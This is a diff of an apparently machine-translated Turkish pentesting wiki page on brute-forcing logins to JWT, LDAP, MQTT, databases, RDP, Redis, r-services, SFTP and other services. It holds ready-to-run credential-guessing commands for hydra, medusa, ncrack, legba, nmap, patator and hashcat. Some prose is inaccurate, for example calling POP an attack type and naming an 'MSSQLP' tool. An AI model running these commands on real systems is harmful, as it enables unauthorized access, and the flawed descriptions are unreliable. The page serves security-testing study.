-- Uzun ve karmaşık anahtarlar kullanmak: Uzun ve karmaşık anahtarlar, brute force saldırılarını daha zor hale getirir.
-
-- İmza doğrulama sürecini güçlendirmek: İmza doğrulama sürecini güçlendirmek, brute force saldırılarını önlemeye yardımcı olur.
-
-- İmza doğrulama sürecini sınırlamak: İmza doğrulama sürecini sınırlamak, brute force saldırılarını sınırlar ve saldırganların deneme sayısını azaltır.
-
-JWT brute force saldırılarına karşı korunmak için bu önlemler alınmalıdır. Ayrıca, JWT'lerin güvenli bir şekilde saklanması ve iletilmesi de önemlidir.
+JWT, JSON Web Token, bir JSON nesnesi olarak bilgilerin güvenli bir şekilde taraflar arasında iletilmesini tanımlayan kompakt ve kendi kendine yeterli bir yol olan açık bir standarttır (RFC 7519). Bu bilgiler dijital olarak imzalandığı için doğrulanabilir ve güvenilirdir. JWT'ler, HMAC algoritması kullanılarak bir sır ile veya RSA veya ECDSA kullanılarak bir genel/özel anahtar çifti ile imzalanabilir.
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@@ -433,39 +272,29 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
-LDAP (Lightweight Directory Access Protocol), hafif bir dizin erişim protokolüdür. Genellikle ağdaki dizin hizmetlerine erişmek için kullanılır. LDAP, kullanıcı kimlik doğrulama, yetkilendirme ve dizin hizmetlerine erişim gibi işlevleri destekler. Brute force saldırıları, LDAP sunucusuna erişmek için kullanılan bir yöntemdir. Bu saldırıda, saldırgan, kullanıcı adı ve şifre kombinasyonlarını deneyerek doğru kimlik bilgilerini bulmaya çalışır. Bu tür saldırılar, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir.
+### LDAP
+
+LDAP, Hafif Dizin Erişim Protokolü anlamına gelir. LDAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırılar, genellikle kullanıcı kimlik bilgilerini elde etmek veya yetkisiz erişim elde etmek amacıyla gerçekleştirilir. LDAP brute force saldırıları, güvenlik açıklarını tespit etmek ve kapatmak için yapılan güvenlik testlerinin bir parçası olarak kullanılabilir.
```bash
nmap --script ldap-brute -p 389
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
-MQTT (Message Queuing Telemetry Transport) is a lightweight messaging protocol that is commonly used in IoT (Internet of Things) applications. It is designed to be simple and efficient, making it ideal for devices with limited resources and low bandwidth.
+### MQTT
-MQTT operates on a publish-subscribe model, where clients can publish messages to topics or subscribe to topics to receive messages. Topics are hierarchical in nature, allowing for a flexible and organized way of organizing messages.
-
-Brute forcing MQTT involves attempting to guess the username and password combination to gain unauthorized access to an MQTT broker. This can be done using various tools and techniques, such as dictionary attacks, credential stuffing, or even exploiting weak passwords.
-
-To perform a brute force attack on an MQTT broker, you would typically need a list of possible usernames and passwords. This can be obtained through various means, such as using common username and password combinations, using leaked credentials from other sources, or using tools that generate possible combinations.
-
-Once you have the list of usernames and passwords, you can use a tool like `mosquitto_pub` or `mqtt-cli` to attempt to connect to the MQTT broker using each combination. The tool will iterate through the list and try each combination until a successful login is achieved or the list is exhausted.
-
-It is important to note that brute forcing MQTT is considered unethical and illegal unless you have explicit permission from the owner of the MQTT broker. Unauthorized access to someone else's MQTT broker is a violation of their privacy and can lead to legal consequences.
-
-If you are a security professional or a penetration tester, it is recommended to follow ethical guidelines and obtain proper authorization before attempting any brute force attacks.
+MQTT, Message Queuing Telemetry Transport, is a lightweight messaging protocol that is widely used for IoT devices. MQTT operates on top of the TCP/IP protocol, making it suitable for remote locations with limited bandwidth. MQTT uses a publish/subscribe model, where clients can publish messages to a central broker and subscribe to receive messages on specific topics. This protocol is vulnerable to brute force attacks, where an attacker tries to guess the username and password to gain unauthorized access to the MQTT broker. Implementing strong authentication mechanisms and using secure passwords can help mitigate the risk of brute force attacks on MQTT.
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
```
### Mongo
-Mongo, kısaltması MongoDB olan bir NoSQL veritabanıdır. Brute force saldırıları, MongoDB sunucusuna erişim sağlamak için kullanılan yaygın bir yöntemdir. Bu saldırı türü, kullanıcı adı ve şifre kombinasyonlarını deneyerek doğru kimlik bilgilerini bulmayı amaçlar.
+Mongo veritabanı sunucusuna brute force saldırısı yapmak için Hydra aracını kullanabilirsiniz. Aşağıdaki komutu kullanarak saldırıyı gerçekleştirebilirsiniz:
-Brute force saldırıları, genellikle zayıf veya tahmin edilebilir şifreler kullanılarak gerçekleştirilir. Saldırganlar, oturum açma sayfasına doğru kullanıcı adı ve şifre kombinasyonlarını göndererek deneme yaparlar. Bu saldırı türü, saldırganın birçok farklı kombinasyonu denemesi gerektiği için zaman alıcı olabilir.
+```plaintext
+hydra -l -P <şifre_listesi> mongodb
+```
-MongoDB sunucusuna karşı brute force saldırılarına karşı koymak için bazı önlemler almak önemlidir. Güçlü ve karmaşık şifreler kullanmak, saldırganların tahmin etmesini zorlaştırır. Ayrıca, oturum açma denemelerini sınırlayan bir otomatik kilit mekanizması kullanmak da faydalı olabilir. Bu mekanizma, belirli bir süre boyunca yanlış oturum açma denemeleri yapıldığında hesabı geçici olarak kilitler.
-
-MongoDB sunucusuna karşı brute force saldırılarına karşı koymak için güvenlik duvarı kuralları da kullanılabilir. Bu kurallar, belirli IP adreslerinden gelen oturum açma denemelerini engelleyebilir veya sınırlayabilir. Ayrıca, güncellemeleri ve yamaları düzenli olarak uygulamak da güvenlik açıklarını azaltabilir.
-
-Sonuç olarak, MongoDB sunucusuna karşı brute force saldırılarına karşı koymak için güçlü şifreler kullanmak, otomatik kilit mekanizmaları kullanmak ve güvenlik duvarı kuralları uygulamak önemlidir. Bu önlemler, saldırganların başarılı bir şekilde sisteme erişmesini zorlaştırabilir ve verilerin güvenliğini sağlayabilir.
+Bu komut, belirtilen kullanıcı adı ve şifre listesini kullanarak Mongo veritabanı sunucusuna brute force saldırısı yapacaktır.
```bash
nmap -sV --script mongodb-brute -n -p 27017
use auxiliary/scanner/mongodb/mongodb_login
@@ -473,47 +302,13 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
```
### MSSQL
-MSSQL, Microsoft SQL Server'ın kısaltmasıdır. Bu, Microsoft tarafından geliştirilen ve yaygın olarak kullanılan bir ilişkisel veritabanı yönetim sistemidir. MSSQL, Windows tabanlı sistemlerde çalışır ve genellikle büyük ölçekli kurumsal uygulamalarda kullanılır.
-
-MSSQL brute force saldırısı, bir saldırganın MSSQL sunucusuna erişmek için deneme yanılma yöntemini kullanmasıdır. Bu saldırıda, saldırgan bir kullanıcı adı ve şifre kombinasyonu listesi kullanarak sunucuya oturum açmaya çalışır. Saldırgan, doğru kullanıcı adı ve şifre kombinasyonunu bulana kadar farklı kombinasyonları denemeye devam eder.
-
-Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanan kullanıcı hesaplarını hedef alır. Saldırganlar, oturum açma denemelerini hızlandırmak için otomatik araçlar veya yazılımlar kullanabilirler. Bu nedenle, güçlü ve karmaşık şifreler kullanmak, MSSQL sunucusunun brute force saldırılarına karşı korunmasına yardımcı olabilir.
-
-MSSQL brute force saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir:
-
-- Güçlü ve karmaşık şifreler kullanın.
-- Oturum açma denemelerini sınırlayın ve otomatik araçları engelleyin.
-- Güvenlik duvarı ve ağ filtreleme kullanarak erişimi sınırlayın.
-- Güncel ve yamalanmış bir MSSQL sunucusu kullanın.
-- Kullanıcı hesaplarını düzenli olarak denetleyin ve zayıf şifreleri değiştirin.
-
-MSSQL brute force saldırılarına karşı savunmasız olan bir sunucu, saldırganın yetkisiz erişim elde etmesine ve hassas verilere erişmesine neden olabilir. Bu nedenle, MSSQL sunucusunun güvenliğini sağlamak için güvenlik önlemlerini uygulamak önemlidir.
+Brute-force attacks against MSSQL servers can be carried out using tools like **MSSQLP**. This tool allows you to perform password guessing against MSSQL servers. It is important to note that brute-forcing attacks should only be conducted against systems that you own or have explicit permission to test.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
### MySQL
-MySQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemidir. Birçok web uygulaması ve web sitesi tarafından kullanılan popüler bir veritabanıdır. MySQL, kullanıcıların verileri depolamalarına, yönetmelerine ve erişmelerine olanak tanır.
-
-#### Brute Force Saldırısı
-
-Brute force saldırısı, bir saldırganın bir hedefin kullanıcı adı ve şifresini tahmin etmek için tüm olası kombinasyonları denemesidir. MySQL'de brute force saldırısı, saldırganın bir kullanıcının şifresini doğru tahmin etmek için farklı şifre kombinasyonlarını denemesini içerir.
-
-#### Brute Force Saldırısını Önleme
-
-MySQL'de brute force saldırılarını önlemek için aşağıdaki adımları izleyebilirsiniz:
-
-1. Güçlü Şifreler Kullanın: Kullanıcıların güçlü ve karmaşık şifreler kullanmalarını sağlayın. Şifrelerin büyük ve küçük harfler, rakamlar ve özel karakterler içermesi önerilir.
-
-2. Şifre Deneme Sınırını Sınırlayın: MySQL'de şifre deneme sınırını sınırlayarak, bir kullanıcının belirli bir süre içinde belirli sayıda yanlış şifre denemesi yapmasını engelleyebilirsiniz.
-
-3. IP Adresi Tabanlı Sınırlamalar: MySQL sunucusuna erişimi sınırlamak için IP adresi tabanlı sınırlamalar kullanabilirsiniz. Sadece belirli IP adreslerinden gelen isteklere izin vererek, saldırganların sunucuya erişimini engelleyebilirsiniz.
-
-4. Güncellemeleri Uygulayın: MySQL'in güncellemelerini düzenli olarak uygulayarak, güvenlik açıklarını kapatır ve saldırılara karşı daha dirençli hale gelirsiniz.
-
-5. Günlükleri İzleyin: MySQL günlüklerini izleyerek, şüpheli etkinlikleri tespit edebilir ve saldırı girişimlerini belirleyebilirsiniz.
-
-Bu önlemleri uygulayarak, MySQL veritabanınızı brute force saldırılarına karşı koruyabilirsiniz.
+MySQL, bir veritabanı yönetim sistemidir ve birçok web uygulamasında kullanılır. MySQL veritabanına brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırılar, oturum açma sayfasına doğrudan erişim sağlayarak veya API'ler aracılığıyla gerçekleştirilebilir. Saldırganlar genellikle oturum açma sayfasına doğrudan erişim sağlamak için otomatik araçlar kullanır.
```bash
# hydra
hydra -L usernames.txt -P pass.txt mysql
@@ -527,21 +322,9 @@ medusa -h -u -P <-f | to stop medusa on fir
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
-# OracleSQL
+### OracleSQL
-OracleSQL, Oracle veritabanı yönetim sistemi için kullanılan bir SQL dilidir. Brute force saldırıları, OracleSQL veritabanlarına erişim sağlamak için kullanılan yaygın bir yöntemdir.
-
-Brute force saldırıları, bir saldırganın tüm olası kombinasyonları deneyerek doğru kimlik bilgilerini bulmaya çalıştığı bir saldırı türüdür. OracleSQL veritabanlarına brute force saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler mevcuttur.
-
-Brute force saldırıları genellikle zayıf veya tahmin edilebilir parolaları hedef alır. Saldırganlar, kullanıcı adı ve parola kombinasyonlarını otomatik olarak deneyerek doğru kombinasyonu bulmaya çalışır.
-
-OracleSQL veritabanlarına brute force saldırıları gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. Kullanıcı adı ve parola listesi oluşturun.
-2. Brute force aracını kullanarak kullanıcı adı ve parola kombinasyonlarını deneyin.
-3. Başarılı bir kimlik doğrulama gerçekleştirildiğinde, erişim sağlanır.
-
-Brute force saldırıları, güvenlik açıklarını tespit etmek ve zayıf parolaları güçlendirmek için kullanılabilir. Ancak, bu tür saldırılar yasa dışıdır ve yalnızca yasal izinlerle gerçekleştirilmelidir.
+Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made.
```bash
patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@@ -565,7 +348,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
-**oracle_login**'i **patator** ile kullanmak için **yükleme** yapmanız gerekmektedir:
+**oracle_login**'ı **patator** ile kullanabilmek için **yükleme** yapmanız gerekmektedir:
```bash
pip3 install cx_Oracle --upgrade
```
@@ -573,7 +356,9 @@ pip3 install cx_Oracle --upgrade
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
-POP (Post Office Protocol), e-posta istemcilerinin e-posta sunucusuna erişmek için kullandığı bir protokoldür. POP, e-posta mesajlarını sunucudan indirir ve yerel bir cihazda depolar. POP, kullanıcı adı ve şifre kombinasyonlarıyla sunucuya bağlanır ve brute force saldırılarına karşı savunmasız olabilir. Brute force saldırıları, tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. POP sunucusuna brute force saldırısı yaparken, bir saldırgan genellikle oturum açma isteklerini otomatik olarak gönderen bir yazılım kullanır. Bu yazılım, farklı şifre kombinasyonlarını denemek için bir sözlük saldırısı veya brute force saldırısı gerçekleştirebilir.
+### POP
+
+POP, kullanıcı adı ve şifre kombinasyonlarını deneyerek bir hedefe erişmeye çalışan bir brute force saldırı türüdür. Bu saldırı genellikle zayıf şifrelerin veya tekrarlanan şifrelerin bulunduğu durumlarda etkili olabilir. Saldırganlar genellikle oturum açma formlarını veya API'leri hedef alarak POP saldırılarını gerçekleştirirler.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
@@ -586,19 +371,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
```
### PostgreSQL
-PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemidir (RDBMS). Brute force saldırıları, PostgreSQL veritabanlarını hedef almak için kullanılan yaygın bir yöntemdir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek veritabanına yetkisiz erişim elde etmeyi amaçlar.
-
-Brute force saldırıları genellikle oturum açma formlarına veya kimlik doğrulama mekanizmalarına uygulanır. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını otomatik olarak deneyerek doğru kombinasyonu bulmaya çalışır. Bu saldırılar genellikle zaman alıcıdır, çünkü saldırganların tüm olası kombinasyonları denemesi gerekebilir.
-
-PostgreSQL brute force saldırılarına karşı korunmak için bazı önlemler alınabilir. İşte bazı öneriler:
-
-- Güçlü şifreler kullanın: Karmaşık ve tahmin edilmesi zor şifreler kullanarak saldırganların şifreleri tahmin etmesini zorlaştırın.
-- Şifre deneme sınırlamaları uygulayın: Oturum açma denemelerini sınırlayan bir mekanizma kullanarak saldırganların sonsuz deneme yapmasını önleyin.
-- İki faktörlü kimlik doğrulama kullanın: İki faktörlü kimlik doğrulama, saldırganların sadece kullanıcı adı ve şifreyle oturum açmasını engeller.
-- Güncellemeleri takip edin: PostgreSQL'in güncellemelerini düzenli olarak kontrol edin ve güvenlik yamalarını uygulayın.
-- Güvenlik duvarı kullanın: PostgreSQL sunucusuna erişimi sınırlayan bir güvenlik duvarı kullanarak saldırıları engelleyin.
-
-Bu önlemler, PostgreSQL veritabanınızı brute force saldırılarına karşı daha güvenli hale getirecektir. Ancak, herhangi bir güvenlik önlemi tamamen güvenliği garanti etmez, bu yüzden düzenli olarak güvenlik kontrolleri yapmak önemlidir.
+PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) olup, genellikle web uygulamaları ve veri depolama alanlarında kullanılmaktadır. Brute force saldırıları, genellikle zayıf veya sızdırılmış şifrelerin bulunması için kullanılan etkili bir yöntemdir. Bu saldırı türü, oturum açma sayfasına doğrudan erişerek veya oturum açma isteklerini doğrudan göndererek gerçekleştirilebilir. Saldırganlar, oturum açma sayfasına doğrudan erişerek veya oturum açma isteklerini doğrudan göndererek şifre kombinasyonlarını deneyerek hedef PostgreSQL veritabanına erişmeye çalışabilirler. Bu tür saldırılar, güvenlik açıklarını tespit etmek ve kapatmak için önemli bir test yöntemi olarak kullanılabilir.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
@@ -610,26 +383,16 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
```
### PPTP
-`.deb` paketini indirmek için [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresine gidin.
+`.deb` paketini kurmak için [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresinden indirebilirsiniz.
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u
```
### RDP
-RDP (Remote Desktop Protocol), uzak bir bilgisayara erişmek için kullanılan bir protokoldür. RDP brute force saldırıları, bir saldırganın hedeflenen bir RDP sunucusuna oturum açmak için birden çok kullanıcı adı ve şifre kombinasyonunu denemesini içerir.
+### Kaba Kuvvet Saldırısı
-Bu saldırı türü, saldırganın oturum açma bilgilerini tahmin etmek veya kaba kuvvet yöntemiyle bulmak için otomatik araçlar kullanmasını sağlar. Saldırgan, genellikle yaygın kullanılan kullanıcı adları ve şifreleri kullanarak oturum açma girişimlerinde bulunur.
-
-RDP brute force saldırılarına karşı korunmak için aşağıdaki önlemleri almak önemlidir:
-
-- Güçlü şifreler kullanın ve düzenli olarak değiştirin.
-- Kullanıcı adı ve şifre kombinasyonlarını tahmin etmek için otomatik araçlara karşı koruma sağlayan bir oturum açma politikası uygulayın.
-- RDP sunucusuna erişimi sınırlayın ve yalnızca güvenilir IP adreslerinden gelen bağlantılara izin verin.
-- RDP sunucusunu güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın.
-- İki faktörlü kimlik doğrulama gibi ek güvenlik önlemlerini kullanın.
-
-RDP brute force saldırılarına karşı dikkatli olmak ve güvenlik önlemlerini uygulamak, bilgisayarınızın ve ağınızın güvenliğini sağlamak için önemlidir.
+Kaba kuvvet saldırısı, bir şifreleme anahtarını veya parolasını bulmak için tüm olası kombinasyonları deneyen bir saldırı türüdür. Bu saldırı türü, RDP sunucularına erişmek için kullanılabilir ve genellikle oturum açma ekranında kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu saldırı türü, güçlü ve karmaşık şifreler kullanılarak savunulabilir.
```bash
ncrack -vv --user -P pwds.txt rdp://
hydra -V -f -L -P rdp://
@@ -637,44 +400,28 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
```
### Redis
-Redis, bir açık kaynaklı, anahtar-değer tabanlı bir veritabanıdır. Brute force saldırıları, Redis sunucusuna erişmek için kullanılan yaygın bir yöntemdir. Brute force saldırıları, bir saldırganın tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalıştığı bir saldırı türüdür.
-
-Brute force saldırıları, genellikle zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. Saldırganlar, genellikle bir şifre listesi veya bir kelime listesi kullanarak saldırı gerçekleştirirler. Bu listeler, en yaygın kullanılan şifreleri veya tahmin edilebilir şifre kombinasyonlarını içerebilir.
-
-Redis sunucusuna brute force saldırısı gerçekleştirmek için, saldırganlar genellikle bir otomasyon aracı veya özel yazılım kullanır. Bu araçlar, otomatik olarak şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır.
-
-Brute force saldırılarına karşı korunmak için, güçlü ve tahmin edilemez şifreler kullanmak önemlidir. Ayrıca, Redis sunucusuna erişimi sınırlayan güvenlik önlemleri almak da önemlidir. Örneğin, güçlü bir şifre gerektiren bir kimlik doğrulama mekanizması kullanmak veya IP tabanlı erişim kontrolü uygulamak gibi önlemler alınabilir.
-
-Redis sunucusuna brute force saldırısı gerçekleştirildiğinde, saldırıyı tespit etmek ve saldırıyı durdurmak için gerekli önlemleri almak önemlidir. Bu, günlük kayıtlarını izlemek, şüpheli etkinlikleri tespit etmek ve saldırıyı engellemek için gerekli adımları atmak anlamına gelebilir.
+Redis, bir anahtar-değer veritabanıdır ve genellikle oturum yönetimi ve önbellekleme için kullanılır. Redis sunucuları, varsayılan olarak şifre korumalı değildir ve genellikle varsayılan şifrelerle yapılandırılır. Brute force saldırıları, bu varsayılan şifrelerin zayıf olduğu durumlarda Redis sunucularına erişmek için kullanılabilir. Bu saldırılar, oturum bilgilerini çalmak veya kötü amaçlı yazılım enjekte etmek gibi zararlı faaliyetlerde bulunmak için kullanılabilir.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379
hydra –P /path/pass.txt redis://: # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
-Rexec, also known as Remote Execution, is a network service that allows users to execute commands on a remote system. It is commonly used for administrative purposes, such as managing multiple systems from a central location. Rexec operates on TCP port 512 and uses a simple authentication mechanism based on a username and password.
+### Rexec
-Rexec can be vulnerable to brute force attacks, where an attacker attempts to guess the correct username and password combination to gain unauthorized access to the remote system. Brute forcing is a common technique used by hackers to exploit weak or easily guessable credentials.
-
-To protect against brute force attacks on Rexec, it is important to use strong and complex passwords that are not easily guessable. Additionally, implementing account lockout policies can help prevent repeated login attempts by locking out an account after a certain number of failed login attempts.
-
-It is also recommended to monitor Rexec logs for any suspicious activity, such as multiple failed login attempts from the same IP address. This can help identify and mitigate brute force attacks in real-time.
-
-Overall, securing Rexec involves a combination of strong authentication mechanisms, password policies, and monitoring for suspicious activity to prevent unauthorized access to remote systems.
+Rexec, Remote Execution, is a service that allows a user to execute commands on a remote system. This service is often targeted during brute force attacks to gain unauthorized access to the remote system.
```bash
hydra -l -P rexec:// -v -V
```
-Rlogin, Remote Login (Uzaktan Giriş) protokolünü kullanarak bir sunucuya uzaktan erişim sağlar. Bu protokol, kullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini şifrelemeksizin ilettiği için güvenlik açığına sahiptir. Bu nedenle, rlogin kullanırken dikkatli olunmalı ve güvenli alternatifler tercih edilmelidir.
+### Rlogin
+
+Rlogin, Remote Login'ın kısaltmasıdır ve UNIX tabanlı sistemlerde uzak bir makineye erişmek için kullanılan bir protokoldür. Brute force saldırıları genellikle rlogin protokolü üzerinde gerçekleştirilir. Bu saldırıda, saldırgan rlogin hedefine bir dizi kullanıcı adı ve şifre kombinasyonu gönderir, genellikle oturum açma bilgilerini elde etmek için.
```bash
hydra -l -P rlogin:// -v -V
```
-Rsh (Remote Shell) is a network protocol that allows users to execute commands on a remote system. It is commonly used for remote administration tasks. Rsh operates on port 514 and uses a simple authentication mechanism based on the client's IP address. However, this authentication method is insecure and can be easily bypassed.
+### Rsh
-To perform a brute force attack on Rsh, you can use tools like Hydra or Medusa. These tools automate the process of trying different username and password combinations until a successful login is found. It is important to note that brute forcing is an aggressive and potentially illegal technique, so it should only be used with proper authorization and for legitimate purposes.
-
-When conducting a brute force attack on Rsh, it is recommended to use a wordlist containing common usernames and passwords. Additionally, you can customize the attack by specifying the number of parallel connections, the delay between attempts, and other parameters.
-
-To protect against brute force attacks on Rsh, it is recommended to disable the service if it is not needed or to implement stronger authentication mechanisms, such as using SSH instead. Additionally, monitoring the network for suspicious activity and implementing account lockout policies can help mitigate the risk of brute force attacks.
+Rsh, yani "Remote Shell", bir hedef sistemde bir kabuk açmak için kullanılan bir protokoldür. Brute force saldırıları genellikle Rsh protokolünü hedef alır. Bu saldırılar, genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek hedef sisteme erişmeye çalışırlar. Bu tür saldırılar genellikle güvenlik zafiyetlerinden yararlanarak gerçekleştirilir.
```bash
hydra -L rsh:// -v -V
```
@@ -682,37 +429,19 @@ hydra -L rsh:// -v -V
### Rsync
-Rsync, klasörlerin ve dosyaların bir sunucu ile senkronize edilmesini sağlayan bir veri transfer protokolüdür. Rsync, veri transferini hızlandırmak için yalnızca değişen veya eksik olan dosyaları kopyalar. Bu, büyük dosya veya klasörlerin senkronizasyonunu hızlı ve verimli hale getirir.
-
-Rsync, ağ üzerindeki veri transferini güvenli hale getirmek için SSH (Secure Shell) protokolünü kullanır. Bu nedenle, kullanıcı adı ve şifre gibi kimlik doğrulama bilgileri şifrelenir ve güvenli bir şekilde iletilir.
-
-Rsync, birçok farklı senaryoda kullanılabilir. Örneğin, sunucular arasında dosya senkronizasyonu, yedekleme işlemleri veya veri taşıma işlemleri için kullanılabilir. Rsync'in esnek yapılandırma seçenekleri vardır ve kullanıcıların senaryolarına uyacak şekilde özelleştirilebilir.
-
-Rsync, hedef sunucuda bulunan dosyaların ve klasörlerin birebir kopyasını oluşturur. Bu nedenle, hedef sunucuda herhangi bir değişiklik yapılırsa, bu değişiklikler kaybolabilir veya üzerine yazılabilir. Bu nedenle, Rsync kullanırken dikkatli olmak ve senkronizasyon işlemlerini doğru şekilde yapılandırmak önemlidir.
+Rsync, bir dosya senkronizasyon ve transfer aracıdır. Dosyaları yerel ve uzak sistemler arasında senkronize etmek için kullanılır.
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
```
### RTSP
-RTSP (Real Time Streaming Protocol), gerçek zamanlı medya sunucusu ve istemcisi arasında iletişim kurmak için kullanılan bir ağ protokolüdür. RTSP, video ve ses akışlarını kontrol etmek, yönetmek ve iletmek için kullanılır. Bu protokol, IP kameralar, medya sunucuları ve diğer multimedya cihazları arasında yaygın olarak kullanılır.
-
-RTSP brute force saldırısı, bir saldırganın RTSP sunucusuna erişmek için kullanıcı adı ve şifre kombinasyonlarını denemesini içerir. Bu saldırı türü, zayıf veya tahmin edilebilir kimlik doğrulama bilgilerine sahip RTSP sunucularını hedef alır.
-
-Brute force saldırıları genellikle otomatik araçlar veya özel yazılımlar kullanılarak gerçekleştirilir. Saldırganlar, genellikle kullanıcı adı ve şifre kombinasyonlarını bir kelime listesinden veya tahmin edilebilir kombinasyonlardan oluşturarak deneme yaparlar. Bu saldırı türü, zayıf veya varsayılan kimlik doğrulama bilgilerine sahip RTSP sunucularını hedef alır.
-
-RTSP brute force saldırılarına karşı korunmanın en iyi yolu, güçlü ve karmaşık kimlik doğrulama bilgileri kullanmaktır. Kullanıcı adı ve şifre kombinasyonlarını tahmin edilemeyecek şekilde oluşturmak ve düzenli olarak değiştirmek önemlidir. Ayrıca, RTSP sunucusuna erişimi sınırlamak ve güvenlik duvarı veya ağ filtreleme gibi ek önlemler almak da saldırılardan korunmaya yardımcı olabilir.
+RTSP, Gerçek Zamanlı Akış Protokolü anlamına gelir. RTSP, medya akışı için bir iletişim protokolüdür. Medya sunucusundan medya istemcisine veri akışını kontrol etmek için kullanılır. Medya akışı için RTSP protokolünü kırmak için brute force saldırıları kullanılabilir.
```bash
hydra -l root -P passwords.txt rtsp
```
-SFTP (Secure File Transfer Protocol) is a secure alternative to FTP (File Transfer Protocol) that allows for the secure transfer of files between a client and a server. It uses SSH (Secure Shell) to establish a secure connection and encrypts the data being transferred.
+### SFTP
-SFTP can be used for various purposes, such as securely transferring files between systems, backing up data, and synchronizing files between different locations. It provides authentication and encryption mechanisms to ensure the confidentiality and integrity of the transferred data.
-
-To connect to an SFTP server, you will need the server's hostname or IP address, a username, and a password or SSH key. Once connected, you can use commands similar to those used in FTP to navigate the server's file system, upload and download files, and perform other file operations.
-
-When using SFTP, it is important to follow security best practices to protect your data. This includes using strong passwords or SSH keys, regularly updating your SFTP client and server software, and monitoring for any suspicious activity.
-
-Overall, SFTP is a reliable and secure method for transferring files over a network, providing encryption and authentication to ensure the privacy and integrity of your data.
+SFTP, **Secure File Transfer Protocol**'un kısaltmasıdır. SFTP, dosya transferi için güvenli bir protokoldür. SFTP brute force saldırılarına karşı savunmasız olabilir. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalışabilirler. Bu tür saldırılara karşı korunmak için güçlü ve karmaşık şifreler kullanılmalı ve giriş denemelerinin sınırlandırılması önerilir.
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
@@ -720,67 +449,32 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar
```
### SNMP
-SNMP (Simple Network Management Protocol), basit bir ağ yönetim protokolüdür. SNMP, ağ cihazlarının durumunu izlemek, performans istatistiklerini toplamak ve ağ yönetimi için bilgi sağlamak için kullanılır. SNMP, ağ cihazlarına yönelik bir dizi standart yönetim bilgisi tabanlı nesne (MIB) kullanır. Bu nesneler, ağ cihazlarının durumunu ve performansını temsil eden verileri içerir.
-
-SNMP, ağ cihazlarına yönelik saldırılar için bir hedef olabilir. Brute force saldırıları, SNMP protokolünü hedef alarak ağ cihazlarının yönetim bilgilerine erişmeye çalışır. Bu saldırılar, varsayılan veya zayıf parolaları deneyerek SNMP cihazlarına yetkisiz erişim sağlamayı amaçlar.
-
